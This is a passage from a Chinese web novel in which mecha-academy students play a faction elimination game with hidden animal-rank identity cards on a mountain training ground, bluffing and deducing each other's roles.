“红队。” “我也是！”江茂茂语气惊喜，然后又立马谨慎起来：“不对，你先给我看看你的卡牌颜色。” 信任真是这个世界上最脆弱的东西。 江茂茂和赵宴月鉴定了一下各自的阵营，又重新变成了好朋友。 赵宴月看向许白亦问道：“你呢。” 许白亦清凌凌的目光看了她一眼，没吱声。 赵宴月扭头对江茂茂道：“走，我们X-4018出了个叛徒。” 许白亦：“……” 她判断的速度好快就像一阵龙卷风。 江茂茂也恨铁不成钢地看了许白亦一眼，随后立马开开心心地和赵宴月手牵手往红队聚集起来的大本营走去，留下身姿挺拔的少年站在原地，忍无可忍地对着两人的背影磨了磨牙。 世界孤立我，任它奚落。 “咱俩才是最有缘分的，你信任我，我也信任你，对吧小赵。”江茂茂扬起一脸姐俩好的笑容骄傲道。 他说到这环顾四周，然后又压低声音鬼鬼祟祟地问：“我抽到的是象，你抽的什么身份？” 赵宴月：“你猜。” 江茂茂：“……你太让我失望了小赵。” 第96章 黑石山只是特训基地里众多山头的其中一座, 处于偌大基地的边缘地带，平时基本没有人来。 山脚处的空气里弥漫着一股泥土混着腐叶的怪味，吸一口提神醒脑, 吸两口就让人面露难色。 三百名学生站在山脚的空地上, 看着眼前这片充满了嶙峋怪石的山脉，知道这下真得荒野求生了。 关启山背着手站在一块最高的黑石上, 晨风吹得他作训服猎猎作响，脸上带着一种“带小孩子出来春游”般的平静。 “早餐都吃饱了吗？” “饱了——嗝。” “很好，明智的选择。” 关启山看着已经换好各战队衣服的学生们, 稍稍点了点头：“阵营和身份你们昨天都已经抽好了，接下来我给你们讲解一下阵营战规则。” 他的目光扫过一张张或紧张或平静或跃跃欲试的脸, 声音清晰道：“红蓝绿三方阵营互相为敌，赢下阵营战的条件只有一个，那就是把对方阵营的‘象’找出来, 然后淘汰。” “你们每个人昨天都抽到了身份卡, 身份由高到低依次是象、狮、虎、豹、狼、狗、猫、鼠八种身份，每个阵营象和鼠的身份棋分别只有一个, 狮和猫分别都是4个人，虎和狗15个人, 豹和狼30个人, 象最大, 鼠最小, 但鼠能克且仅仅只克象。” “每场战斗必须是1v1, 打赢了别人，你有权选择看或者不看对方的身份棋，如果你选择看，那么只要对方身份比你高, 打赢了也是你淘汰，如果对方身份比你低或和你一样，那么对方淘汰，所以打输了别着急哭，打赢了也别得意忘形，是谁淘汰还未可知。” “任一阵营的象被淘汰，阵营战就到此结束，被淘汰阵营所有成员扣200积分，淘汰别人的阵营全员加200积分，卡中间的阵营不扣分也不加分，规则就这么多，现在所有人把兜里藏的、驾驶舱里藏的吃的喝的自觉拿出来放到箱子里，有专业人员会在监控室进行全程监控，不要试图作弊。” “最后一件事，不要想着早淘汰早享受。”关启山说到这，一直平直的嘴角此时稍稍勾起一抹弧度，“阵营战结束之前，所有被淘汰的学生会接受我的特别关爱训练，我猜你们不会想接受我的特训——现在各个阵营指挥可以带领你们团队成员上山找地方扎营了，祝你们好运。” 江茂茂听完规则，迷茫地和赵宴月对视一眼。 想到江茂茂的身份棋是象，赵宴月不由给他竖了个大拇指：“这下你无敌了茂茂。” “哪有无敌。”拿到了最关键的身份没有之一，江茂茂被迫开始思考：“听着好像只有鼠能克我，其实象也可以。” 他的实力可以说是300人里最差的，如果是对方阵营的象打败他，在对方身份等于他的情况下也是他淘汰。 而他淘汰与否直接决定了整个阵营的输赢，真是愁死人了。 赵宴月对“我方水晶”是江茂茂表示高度放心，敷衍安慰道：“打不过你还跑不过吗，再说了指挥不会让你被发现的。” 江茂茂思索一会儿立马又开心了起来：“也对。” 周围众人都在激烈议论扣200积分那还得了，一边抱怨关启山扣起分来冷血无情，一边又半点不敢怠慢地跟着大部队上山。 三个阵营昨天就选好了各个阵营的指挥，据说是指挥系的57个学生靠打架的方式连夜竞选出来的。 穿着不同颜色外套的学生按照阵营分开，像三股溪流朝着黑石山脉不同的方向涌去。 “什么东西咬我！好痒！”走在赵宴月前方的一个学生忽然尖叫着跳起来疯狂甩手，手背上鼓起一个红肿的小包。 “是刺血蚊，别抓，越抓越肿，越肿越痒。”旁边有经验的学生立马提醒。 “好痒好痒好痒！痛我可以忍，这我真忍不住了，我得去躺医疗舱。” “下山就淘汰，只要不是被咬了会死的毒虫咬了就忍着吧，想想关教官的特别关爱训练。” “……我恨。” “别恨。” 江茂茂看着自己手臂上也被咬出来的红包，欲哭无泪：“真的好痒，什么破蚊子都秋天了还活着。” “刺血蚊一年四季都活着。”赵宴月随手将路边枝条上的叶子扯下一片递给他：“碾碎敷敷。” 江茂茂一边听话地把碾碎的汁液擦在手臂的包上，一边好奇问道：“这是什么。” “薄冰叶，刺血蚊出没的地方都有这种植物，它们的卵通常就产在这上面。” “真的不痒了！好神奇。” “那可不。”赵宴月懒洋洋道：“听说过一句话没，三步之内必有解药。” 话音刚落，周围早就竖起耳朵的学生迅速薅光了赵宴月刚摘的枝条，只留下一根光秃秃的根茎。 一个扎着高马尾的女生凑到赵宴月旁边，打了个招呼道：“你好，我是莫听然，机甲工程系大三的，A级契约者。” “你好，有什么事？”赵宴月看了过去，想着A级契约者在机甲工程系怪稀奇的。 B级是成为机甲尖兵的门槛，但这个等级在机甲尖兵系实在不出众，许多学生会转而选择指挥系或者工程系。 但众所周知工程系有点条件的狗都不学，据赵宴月的了解，备战班里的机甲工程系除了她和一个A级，全员都是B级。 指挥系57个人等级分布相对平均，A级B级对半分，S级也有好几个。 机甲尖兵系不必多说，除了江茂茂和几个A级，几乎全员S级，实力差距在于是19阶的S级还是21阶的S级。 备战班里的这两百多个S级学生，已经是斯伦和兰柏林两个学校四个年级加起来的所有S级，数量着实怪可怜的。 莫听然此时已经自来熟地占据了赵宴月右手边的位置，好奇询问道：“我是想问问你怎么连这都知道，薄冰草不是灵植，即便是工程系里专门研究灵兽进化链的学术派都不会对普通植物这么了解吧。” “我也不算了解。”赵宴月轻咳一声，原本还懒洋洋的人瞬间支棱了起来，风轻云淡道：“这种东西随便看一眼就记住了。” 莫听然睁大眼：“哇。” 眼见赵宴月扭头就和莫听然聊得热火朝天，江茂茂：“……” 他看透了。 “前面那片背风的大石头下面可以扎营。”司焕的声音从队伍前方传来，“工程系的同学来扎帐篷，尖兵系的清理一下营地周围的危险生物，指挥系去勘查附近水源和食物。” “知道了。” “收到。” “1。” 听到指挥的红队学生们纷纷四散开来，营地的建立在一片“救命我被虫子咬了”的哀嚎声和“石头太硬扎不进去帐篷钉”的抱怨声中磕磕绊绊地进行。 赵宴月一脚将一只路过的、长得像蝎子和蜈蚣混合体的毒虫踹飞十几米，呈抛物线砸进远处的灌木丛。 她正嫌弃地跺了跺脚，打算扎下一顶帐篷，灌木丛里传来不知道哪个倒霉蛋的尖叫：“是哪个缺德鬼！” 一个卷毛男生从灌木丛里探出头，眼睛里怒火直冒。 他将正在努力扎营的工程系众人看了一遍又一遍，最后和赵宴月大眼对小眼，举起手里几十只脚正在扑腾的毒虫道：“你看到了吗？” “看到了。”赵宴月点点头，然后语气惊喜道：“这就是你找到的食物吧，个头硕大无比，蛋白质是牛肉的十倍！太厉害了，实在是太厉害了。” 卷毛摸了摸头，神情从茫然转为自信：“对！” 围观全程但没人吱声的工程系同学：“……” 也在营地里帮着扎帐篷的本次阵营战红队总指挥官司焕：“……” 本以为这只是个小插曲，大家正低下头准备继续扎营，司焕却忽然喊住了正打算放生的卷毛。 “游阑同学，别扔，把你的战利品放到食物存放处。” 此话一出，包括赵宴月在内的众人都看向了司焕，眼里全是震撼。 司焕转过身朝大家摊了摊手：“我也不想，但是目前找到的食物除了一些野果外，确实没有任何蛋白质。” 赵宴月：“好恶心，早知道不瞎说了。” 莫听然：“去头可食。” 夕阳给黑石山镀上一层诡异的暗金色时，红队终于在一个背风的巨大岩石凹陷处安顿下来。 篝火点起，驱散了些许寒意和黑暗，也吸引来了更多趋光的飞虫，在火焰周围噼啪作响地表演着飞蛾扑火。 各种各样去除了毒腺的诡异虫子被串在树枝上，被火烤得散发出一股焦香。 红队阵营的学生都围坐在篝火旁，手里拿着被啃了没几口的干瘪小果子，吃得面色发苦。 良久，不知道有谁咽了口口水，小声开口道：“……其实我觉得还挺香的。” “那你尝尝。” “尝尝就尝尝。” “味道怎么样？” “鸡肉味，嘎嘣脆，好吃。” “既然你吃，那我也吃。” 火光跳跃在司焕的脸上，他冷静地吐掉嘴里的虫子腿，开门见山道：“都说说白天的发现，尤其是其他阵营的动向。” “蓝队往东边去了，那边雾气很重。” “绿队占了西面一个视野很好的高地，易守难攻。” “我出去找食物的时候碰到其他阵营的人了，他们今天基本也在安顿营地，看到我一点要打架的意思也没有。” “我倒是看到绿队有人去打蓝队的成员了，只不过打赢的那个蓝队成员也没看对方身份棋，打完就走了。” 司焕看着跳动的火焰道：“不看也说明不了蓝队那个就一定是低阶身份，现在信息不足，大家都不敢轻举妄动。” 有其他指挥系的学生点头附和：“阵营战其实是信息战，要从‘敢不敢看’一点点推断出对面成员的身份，最后抓到象。” “听起来这阵营战就是关教官拿来训练指挥系的，和我们机甲尖兵系没什么关系。” “谁说的。”游阑闻言翻了个白眼，“你动动脑子好不好，你猜关教官为什么要把所有成员的等级信息发给我们。” “比如绿队这个‘斯伦军校机甲尖兵系大二生许白亦——20阶S级’，当他遇到我们红队‘兰柏林军校机甲工程系大三生莫听然——18阶A级’的时候，在明显能打赢的情况下他不来淘汰你，这说明什么，说明他大概率拿到了低阶身份棋，这个时候你就可以反手去挑战他，赌他打赢了也不看你身份，或者小概率他直接淘汰你，但这也能让我们直接确认他的身份棋范围，指挥会对所有信息进行统筹汇总，这也是我们初期最重要的情报来源。” “以上只是我随便举的例子，具体情况具体分析，诚然，对面肯定有人会故意混淆自己身份去误导我们，所以要统筹多方面信息进行推理排除，但这些最基础的信息从哪来，也就是所有人都必须把教官发的这张表背下来，并且对上每个人的脸，绝对不能出现刚才宗政同学说的‘蓝队成员和绿队成员打起来了’这种情况，你这说了和没说有什么区别？信息传送过来的损耗高达99%哈，抛开本次阵营战，这也是为了让我们天市星代表队的大家互相了解，你说和你们有没有关系？我真是和机甲尖兵系的傻子说不清楚。” 游阑一连串夹枪带棍的攻击下来，原本说这次阵营战和机甲尖兵系没关系的男生傻眼道：“我就随口一说，你你你你……” “我我我我……我怎么了？”终于报了昨天扣分之仇的游阑呼出一口气，身心舒畅。 “我就说我讨厌指挥T^T。” “好了。”司焕适时开口，提前浇灭了眼见就要吵起来的两方人马：“你们所有人的身份我都清楚，听我安排即可，象和鼠你们两个至关重要，即便是阵营内成员也不要和他们透露身份，免得在行动中无意识暴露信息。” 江茂茂听讲听得格外认真，此时举手问道：“那万一对面的象是个21阶机甲尖兵怎么办，会不会直接力大砖飞平推我们？” “不用担心。”司焕看过来一眼，然后又看向众人道：“21阶的象诚然占据大优势，但并不代表他无敌了，只要能确定对方象棋，我们只需要派出21阶机甲尖兵和他打一轮消耗战，耗空他精神力再上鼠或者象也能拿下胜利，胜负的关键在于找出象棋，打败象棋反而是最简单的一步。” “可能有其他高阶身份棋会伪装象棋，比如象下四个狮？” “伪装鼠棋的肯定也不少，鼠和象一样关键。” “我受不了无间道了，想想脑子都要炸了。” 江茂茂虔诚双手合十：“保佑我方鼠棋是21阶。” 莫听然瞅了他一眼：“你怎么不保佑我方象棋是21阶。” 江茂茂：“也就随口一说嘛，反正事实上哪个我都保佑不了。” “也对。”莫听然眨了眨眼，高马尾在空中划出一道弧线，扭头看向赵宴月小声道：“你是什么棋？” 赵宴月正用一根小棍拨弄着火堆，试图把一只烤焦的虫子尸体扒拉出来，闻言慢悠悠回答：“鼠。” 莫听然沉默片刻：“好吧，我这该死的好奇心，我不该问的。” 江茂茂盯着赵宴月左瞧右瞧，狐疑道：“真的吗，我不信。” 赵宴月拍了拍手上的灰，又打了个大大的哈欠，眼里因为困倦而泛起生理性的水光：“谁管你信不信，睡觉去了。” 第97章 黑石山的清晨, 白色的雾气浓稠得能拧出水，带着一股子潮湿的味道。 赵宴月从硌得人腰酸背痛的帐篷里钻出来，刚掀开布帘就冷得打了个哆嗦, 而后和站在自己帐篷边的学生大眼对小眼。 男生也没想到她刚好出来, 语气中有种和不熟的同学打招呼的尴尬：“早啊赵同学，昨晚睡得好吗？” 他顿了一会儿, 客气又不失礼貌地补充道：“呃……我的意思是司焕让我来叫你们起床。” 赵宴月从他身上一秒看出社恐被派发了社交任务后的强装镇定，慢吞吞道：“早啊鹿同学，昨晚睡得很好, 你呢。” “啊，我也是。” 见他还站在自己面前, 赵宴月开始思考起“Howareyou”句式进行到这个阶段应该再接点什么话。 想了半天发现老师没教后，赵宴月只好靠自己发挥：“鹿同学，你不需要去叫下一个人起床吗？” 鹿平此时才回过神, 火速往后退了一步, 给赵宴月让出出帐篷的路：“不好意思！我刚才只是在惊讶你竟然认识我。” 赵宴月从帐篷里走出来：“认识你是应该的。” 男生睁大眼，摸了摸头不好意思道：“是、是吗。” 赵宴月狐疑地看了他一眼：“当然, 这种事根本不需要怀疑。” 昨晚她对着学生资料勤学苦背半小时，今天在场300个人有一个认不出来都是对她学习成果的侮辱。 司焕此时正站在营地中央, 目光看过来后提高音量催促道：“别聊天了, 过来集合。” 他身边此时已经围了不少人, 有领完任务往外走的, 也有刚到的。 “资料都熟悉了没有？遇见不熟悉的人就翻出资料比对一下, 传递给我的信息必须准确，决不能指鹿为马说A是B。” 司焕的声音和语调都偏冷，偏偏又透着一种男妈妈式的关怀：“能被我连接精神海的，我都会连接你们的精神海, 方便我向你们下达任务，你们得到的信息务必通过光脑高效及时、清晰客观地告诉我，明白吗？” “明白！” “好的，接下来我会给你们每个人组侦查小队，我说你是什么身份棋你就是什么身份棋，队友之间不必求证。” 司焕的目光扫过围着他的人，点名道：“林凛风、文咏歌、鹿平、赵宴月，你们的身份是鼠，我会给你们每个人分配1-3个高阶身份棋成员保护你们，同时组成侦查小队，有问题吗？” “没有。” “好的。” “收到。” “1。” 司焕点点头，继续道：“卓佳、季同迎、祖曼儿、江茂茂，你们的身份棋是象，记住自己的身份，我同样会给你们组侦查小队。” 等组好的侦查小队一个个离开后，司焕看向又跟磁铁似的凑到一起赵宴月和江茂茂道：“你们一组，不过你们组还需要一个人。” 他说到这抬起头巡视了一圈，喊道：“秦烨同学，你过来。” 秦烨闻言抬眸，走过来笑容灿烂道：“嗨，好巧啊，我来加入你们喽。” 江茂茂：“好拥挤。” 赵宴月：“哈哈。” 司焕没理秦烨这句话，给他介绍道：“江茂茂是象，你是狮，赵宴月是鼠，你和江茂茂的任务都是保护鼠，不要让别人有机会对赵同学发起攻击，听懂了吗？” “这有什么听不懂的，保证完成任务。” 司焕微微颔首，扭头对赵宴月和江茂茂说道：“秦烨是21阶的S级，在所有21阶里也属于拔尖的那一小撮，实力很强。” 他说完又对江茂茂重点嘱咐了几句：“不必担心身份暴露，高阶身份棋多的是，有人挑战你你就上，最重要的是不要露怯。” 江茂茂深沉点头：“明白！” 三人一离开营地，秦烨立马哥俩好地将手搭在江茂茂的肩上：“嗨！很高兴能加入你们！” 江茂茂感受着沉甸甸搭在自己肩膀上的手，茫然道：“我和你很熟吗？” “当然！新星杯的时候我可给你们队颁发过‘202届新星杯敢死队’的荣誉奖章。” “……啊？” 秦烨怕影响感情，没敢再解释。 他顺口夸赞了一番跟在江茂茂身后的机甲十分炫酷，然后便图穷匕见，好奇心拉满地问道：“你是真象还是假象？” 江茂茂：“真的。” 秦烨：“我不信。” 他搭在江茂茂肩上的手又顺势去戳了戳赵宴月，采访道：“小赵，你是真鼠还是假鼠？” 赵宴月：“假的。” 秦烨：“我不信……诶对了，我们去哪？我记得东边是蓝队阵营，西边是绿队阵营。” “去中间的河里捉鱼，我还没吃早餐。” “那条河里没有鱼……我们不去侦查其他阵营的信息吗？” 赵宴月听到河里没鱼，便忧伤地叹了口气，只好摸出兜里涩不拉几的野果子咬了一口。 “你搞搞清楚，尊贵的鼠大王哪有到处乱晃的，对面阵营的200个人里有整整200个人都能干掉我。” “有道理。”秦烨刚同意完又反驳道：“但是不露面岂不是更可疑，人家一下子就猜到你是低阶身份不敢露面了。” “哪能呢，多的是人专门来找我们。” 水流声隐隐作响，赵宴月朝河边走去，刚打算去洗把脸再说，身后就传来一阵盛气凌人的女声：“赵宴月！江茂茂！” 三人转过身，发现穿着蓝色队服外套的两男一女站在对面。 江茂茂睁大眼小声道：“是华妩和严舒也，还有……呃……” 赵宴月贴心提醒：“柯木。” “啊对对对，碰上他们俩真是不巧。” 秦烨见状问道：“你们认识？” 江茂茂：“不止认识，可能他们对我们单方面有仇。” 华妩双手环胸，一句废话不多说，朝自己的身边两人示意道：“一个A级一个C级，淘汰他们。” “站我身后。” 秦烨反应极快，瞬间召出机甲挡在了赵宴月面前，一拳轰出逼退了冲过来的柯木，双方僵持着没有动作。 柯木不动是因为他知道自己没法突破秦烨的防御去干掉赵宴月，不动很合理。 ——但是秦烨也没有来淘汰自己的意思，只是守在赵宴月身边，这就有很多信息可以解读了。 另一边，江茂茂的机甲也直接被严舒也掀翻在地，他从驾驶舱里钻出来，然后又拍拍手操控着机甲重新站到自己身后。 江茂茂学着华妩的模样，双手抱胸看着严舒也道：“要查看我的身份吗朋友？是谁淘汰谁还真不一定喔。” 严舒也打量着他的神色，稍稍皱了皱眉没有吱声。 华妩的目光在对面三人身上扫了一遍，对严舒也摇了摇头。 她是知道江茂茂的穿梭技能的，只有在打赢的情况下，也就是对方主动或被动脱离驾驶舱后，才能查看对方的身份。 江茂茂如果拿到的是低阶身份，那他完全可以靠穿梭直接跑路，绝不会像现在这样这么有恃无恐。 虽然不排除江茂茂虚张声势的可能，但一旦江茂茂身份高于严舒也，就是严舒也被淘汰，目前的情况根本没有赌的必要。 倒是赵宴月…… 注意到华妩的目光，秦烨下意识将赵宴月挡得更严实了点：“看什么看，你也打不过我。” 华妩嗤笑一声：“谁要和你打了，我们走。” 虽然赵宴月看着就有鬼，但现在还不是该动手的时候。 要想攻击到她和她1v1，首先就得解决秦烨，而秦烨的身份棋现在也不能确定，能搜集到这么多信息已经足够了。 柯木一边跟着华妩走，一边开口提建议：“赵宴月看着有问题，有可能是红队鼠棋，我们可以3v3直接上，先淘汰她。” “你在说什么胡话。” 听到柯木质疑自己的决策，华妩立马刁钻刻薄道：“第一，3v3是可以，但是在秦烨干掉我之前，你确定自己能攻击到赵宴月吗，但凡在新星杯里和她打过架的都知道，她这人打架水平另说，躲伤害的操作倒是惊为天人，你攻击不到她就不算进入了1v1战斗模式，但秦烨干掉我之后的下一步绝对就是攻击你。” “第二，就算你攻击到赵宴月并且打败了她，她的身份你确定敢看吗，在没有足够的信息确定她是低阶身份棋之前，你敢赌她一定不是高阶身份棋伪装低阶身份棋钓鱼执法吗。” “第三，我怎么办？嗯？我被打败了怎么办？如果赵宴月真是红队鼠棋，负责保护她的秦烨绝对是高阶身份棋，你猜他把我干趴下之后会不会来查看我的身份，你是想把我送去接受特别关爱训练吗？” 柯木：“……原来要思考这么多，我以为你让我淘汰她是真的去淘汰她。” 华妩哼了一声：“不过赵宴月确实可以列入红队鼠棋嫌疑人之一。” 看着几人说走就走的背影，秦烨还有点不舍：“这就放他们走了？他们估计猜到你们的身份棋一个低一个高了，你们一个A级一个C级，不管干什么都能给他们抓到信息。” 江茂茂：“所以说多的是人专门来试探我们，就像我们阵营的侦查小队也会直奔蓝队绿队的B级成员一样，躲都没地躲。” 赵宴月不嫌事大地建议：“舍不得的话那你追上去和华妩打，让她的同伴反手过来淘汰我，极限一换一。” 秦烨摸了摸下巴：“也不是不行，华妩20阶，你18阶，一换一还挺有性价比的。” “……？” 秦烨端正态度：“我的意思是尊贵的鼠大王，拿您一换一可万万使不得！” 他调侃的话音未落，身后又是一阵喊声传来：“赵宴月！江茂茂！” 秦烨：“……” 不是，为什么每次都没有他的名字，他很没存在感吗。 又有两名身穿蓝队阵营外套的男生盯上了他们，目标明确地扑向了赵宴月和江茂茂。 秦烨啧了一声：“我明明已经加入这个家了，怎么都看不见我似的。” 他身形如电，瞬间与扑向赵宴月的蓝队成员缠斗在一起，而后几招便将对方直接打出了驾驶舱：“这么菜还这么来势汹汹。” 肖元躺在地上有恃无恐：“那你来查看我身份试试。” 秦烨闻言摸了摸下巴，看向赵宴月琢磨道：“这小子不会是钓鱼执法吧，才B级菜得很又身份高，专挑我这种高手淘汰。” “你思考起来惹人发笑。”赵宴月评价道。 “……调节一下气氛怎么了，干嘛攻击我。” 江茂茂和另一名蓝队成员还在激烈对战，看着被打得很惨，赵宴月慢条斯理地将秦烨从自己面前扒拉开：“这种情况能把你这个狮淘汰的只有象，首先他不可能是象，其次他真是象那更好了。” “啊，也对。” 秦烨看着她气势汹汹地往肖元那儿走，笑了一声又问：“你就不担心我的身份是司焕骗你的，万一我是虎是豹呢，他看着身份棋可不低。” “没有骗我的必要。”听了这话赵宴月的脚步一点没停。 秦烨顿时发出“真相只有一个”的声音：“这么笃定司焕会把只有4个的狮棋安排给你，我就说你的身份肯定是真的。” “太精彩了，推理得很到位，不过这件事我不是早就告诉你了吗。” 赵宴月敷衍地夸赞了一句，她走到肖元身边，弯下腰扯住他的衣领，狐假虎威并且气势极其嚣张：“小伙子，把身份棋亮出来。” 不远处，刚靠近这边的绿队侦察兵鱼泽恰好将这一幕尽收眼底，见状直接躲到了树干后。 肖元听到秦烨的身份棋是狮，原本的底气顿时泄了大半，虽然心里直发虚，但是战败者并没有说不的权利。 他点点光脑，一张蓝色卡牌便投影了出来，旋转几圈后一个虎头缓缓浮现。 下一秒空中便传来关启山平淡的声音。 “蓝队阵营肖元——淘汰，从现在起你不能再向任何成员直接或间接透露任何信息，下山接受特别关爱训练吧。” 躲在树后的鱼泽听到广播声缩回脑袋，立刻掏出光脑。 “蓝队肖元已淘汰，确认身份棋为虎棋，未能看见淘汰全过程，我方到场时红队赵宴月正在查看肖元身份棋，现场还有江茂茂、秦烨、燕琪三人，江茂茂和燕琪处于对战状态，秦烨离肖元位置较远，疑似被赵宴月所淘汰。” 发完信息他又探头去看，结果刚探头就和赵宴月对视上了，被逮了个正着。 赵宴月眸光一闪，嘴角勾起一抹意味不明的笑容，举起手弯了弯四根手指：“嗨，你也想和我一架吗？” “不了不了，这福气还是留给别人吧。” 鱼泽客气完拔腿就跑，火速离开了这个是非之地。 “追吗，淘汰一个是一个。”秦烨蠢蠢欲动。 “不追，救人一命胜造七级浮屠。” “你平时都是这么救人的？” “干嘛，想偷学我攒功德的小妙招？” 两人你一言我一语间，和河这边打到河那边的江茂茂终于被蓝队的燕琪打趴下，他叹了一口气，干脆安详地躺在了地上。 燕琪听到肖元被淘汰，立马便知道了秦烨的身份棋要么是虎要么是狮要么是象，可以确定为高阶身份棋持有者。 肖元是B级，但他拿到了高阶身份棋虎棋，靠规则反杀了好几个不信邪开盲盒的，这下也是阴沟里翻船了。 她先将信息发送给了指挥，然后才陷入了看不看江茂茂身份的纠结中。 战斗结束后有五分钟的时间可以选择是否查看身份棋，查看后就相当于这场战斗已经结束，秦烨随时都能向她发起进攻。 ——不看就有五分钟的跑路时间。 她现在已经能确定秦烨身份棋比她高，对上秦烨也是输，实在没必要为了淘汰一个江茂茂搭上自己。 更别说她也不能确认江茂茂的身份棋到底是比她高还是比她低。 燕琪思索再三，放弃了查看江茂茂的身份棋，扭头走了。 江茂茂见状，躺在地上悲伤道：“挨了两次打，没一个人愿意查看我的身份棋，我也想淘汰别人。” “那只能说明他们做了正确的选择。” 赵宴月盯着绿队侦察兵离开的方向思索片刻，然后看向秦烨问道：“他什么时候来的，你有注意到吗。” “好像是你去查看肖元身份棋的时候？应该刚到不久，下次查看身份得小心点了，白给那小子送了蓝队的信息。” “和我察觉到他的时间差不多。”赵宴月点点头，而后笑眯眯道：“再说了，谁说信息是白送的。” 监控室里的关启山看着光屏上现场画面，时不时拿起保温杯喝几口枸杞水。 薛清看向一旁的白静怡道：“你们斯伦这个学生真是来得早不如来得巧了，估计要给绿队传递错误信息。” “排除接收到的错误信息本来也是指挥需要具备的素养之一。” “别人我说不好，但这个学生的错误信息能不能排除还真是个问题。” 薛清看着屏幕里的赵宴月笑了一声：“她反应真的很快，看到肖元第一眼开口就是混淆视听，还把人放跑了。” “那又如何，她现在只是A级，想在两百多个S级学生里伪装高阶身份棋基本不可能。” 关启山没有参与他们的讨论，开口道：“现在淘汰了多少人？” “十一个，今天一天下来估计也到不了二十。” 白静怡也从屏幕上收回视线：“阵营战前两天各个学生的身份棋还不明朗，打赢了查看身份的也不多，淘汰速度不会快。” “也就慢这两天，等三方指挥摸清大致信息就要安排针对性对战了，一层层淘汰下来找到象旗很快的。” “已经淘汰的学生安排好了吗？” 薛清温和一笑：“安排好了，不可能让他们闲着。” 第98章 山脉腹地, 一条浑浊湍急的河流切割着嶙峋怪石，雾气像一层湿冷的纱幔，缠绕在灰黑色的山岩和草木之间。 雾气中传来沉闷的撞击声和让天地变色的技能特效, 赵宴月从河岸边巨大黑石后探出头。 下一秒, 她上方又冒出个脑袋，江茂茂看过去一眼道：“这不是许哥吗？他在和谁打？对面的机甲我不认识。” 秦烨将江茂茂拽过去, 自己探出头看了一眼，嘶了一声：“这不应承玄那家伙吗，他是我新星杯时候的队友, 很强，毕竟我们队可是新星杯NO.1。” “第1名和第100名没有区别哈。”赵宴月看了他一眼, 然后又看向对面：“这么说起来许白亦要输了。” “疑似吃不到葡萄说葡萄酸。”秦烨将她的脑袋往下压了压，“许白亦吃亏在他只有20阶，但是他的天赋技能很强, 谁输谁赢还不好说。” 赵宴月刚想缩回去, 一直起身刚好撞到秦烨的下巴，顿时笑道：“你看看你, 干嘛非要挡在我上面。” 男生猛地倒退几步用手捂着嘴，一双时时刻刻都含着明媚笑意的眼睛此时波光粼粼：“咬、咬到舌头了, 好痛。” 江茂茂幸灾乐祸道：“让你抢我位置, 两天下来受过的最重的伤来自队友哈。” “她、她故意的……” “嘘。”赵宴月忽然狐狸眼一睁, “我就说许白亦要输了, 不过应承玄没查看他身份棋。” “出来吧。” 许白亦从地上站起身, 拍了拍外套上的灰。 江茂茂眨眨眼：“他是在说我们吗？” “很显然这附近也没其他人。” 黑色巨石后的人接二连三地站了出来，赵宴月笑眯眯道：“好巧啊，这不是绿队的象棋吗，你拿的什么身份？” 秦烨瞳孔地震, 看看这个又看看那个，戳了戳江茂茂道：“高端的战术就是直接开口问？” “你不都说了我是绿队的象棋？” 许白亦抬腿几步走过来，垂眸看向赵宴月语调平静地阴阳怪气：“再说我不是你们X-4018队的叛徒吗，问我我也不会告诉你。” 赵宴月睁大眼睛看回去：“疑似被打败之后恼羞成怒，你不说我也知道。” “呵。” 许白亦的视线扫过秦烨，重新停留在赵宴月的脸上：“拿的低阶身份棋吧你，不然这两天一个人都不淘汰是有什么心事吗。” 有的人，当他不是自己队友的时候，说话还挺气人的。 赵宴月身体微微往石头上一靠：“这就是你信息收集不到位了吧，我明明淘汰了一个。” “是吗。” 许白亦听到赵宴月这个回答，眸光顿了顿：“我以为你要说你能打过的都是机甲工程系的同学，不淘汰他们是因为你友爱同学心地善良。” 江茂茂伸出大拇指道：“不得了了，这说话的风格真是学得一模一样。” “多谢夸奖。”许白亦说完又看了赵宴月一眼，心里的疑惑并未平息。 经过两天的淘汰，信息整合后大部分人的身份棋都缩小到了明确范围，各阵营对象棋和鼠棋的持有者也都有了猜测。 但在绿队已知的信息里，赵宴月的身份棋还是个谜。 这两天里她唯一的战绩就是淘汰了蓝队的肖元，一个虎棋的持有者，按理来说她应该拿的是高阶身份棋。 ——但她偏偏又除了肖元外谁都没有淘汰，而且鱼泽传回来的消息也说他并未看到赵宴月淘汰人的全过程。 鱼泽口口声声的拍胸脯保证和分析仿佛还回响在耳边。 “没淘汰别人当然是因为她在伪装鼠棋，他们红队的真鼠假鼠一堆，好几个人都没淘汰任何人。” “至于她为什么要亲自淘汰肖元，当然是因为她不知道我在那，没人看见自然想干什么就干什么。” “而且她发现我的时候问我是不是也想和她打一架，‘也’你们懂吗，这种下意识的反应是骗不了人的。” “我保证她绝对是高阶身份棋，可以排除鼠棋的嫌疑。” 这个结论听起来好像没什么问题，但按照他对赵宴月的了解，鱼泽能回来就已经是最大的问题了。 至于下意识的反应是骗不了人的这一点，那还真不一定。 ——至少他刚才试探赵宴月的时候，她下意识的反应是一点都没说漏嘴，当然也有可能是她确实淘汰了肖元。 赵宴月看着视线在她身上但是思绪明显已经偏远的许白亦，伸出手在他面前晃了晃，忽然问道：“你是低阶身份棋吗？” “不是。”许白亦回过神道。 “喔，那就是了。” 许白亦：“……？” “干嘛这样看我，我就随口一说。”赵宴月摊了摊手。 “你不是说我不说你也知道吗，那还来试探我干什么。” “吓吓你。” 江茂茂：“哈哈。” 许白亦：“下次组队把你分出去。” 江茂茂：“不哈哈。” 秦烨：“哈哈哈哈哈哈哈哈。” 等两方分道扬镳，赵宴月才停下脚步看向秦烨：“比起许白亦，我觉得你那个队友更不对劲。” 秦烨思考了好一会儿，才指了指江茂茂：“他吗？” “我是说你的新星杯队友，应承玄。” 江茂茂拍拍胸脯：“吓我一跳。” “你讲讲道理好不好，现在我才是你的队友。” “是吗？你们不是NO.1吗？” “……”秦烨灵机一动道：“赵同学，我觉得你这么没有团队意识主要是因为我们小队没有个正规名字，你觉得叫春江花月烨怎么样？” 赵宴月沉默片刻，直接跳过了这个起名环节：“司焕昨晚说从目前已知的信息来看，应承玄从来没看过别人身份棋。” “以我对他的了解来说，可能是在伪装鼠棋。”秦烨直接被她带偏话题，想了想又补充：“就像许白亦一样，绿队那几个实力格外强的全说自己是象棋，反正别人打不过他们就没法查看身份，狮棋也全在伪装象棋，他们的身份棋本身就比其他人更难分辨。” 赵宴月摇了摇头：“所以他这种实力强的选手没有伪装鼠棋的必要，性价比太低了，要伪装也是伪装象棋，方便把别人淘汰出去。” 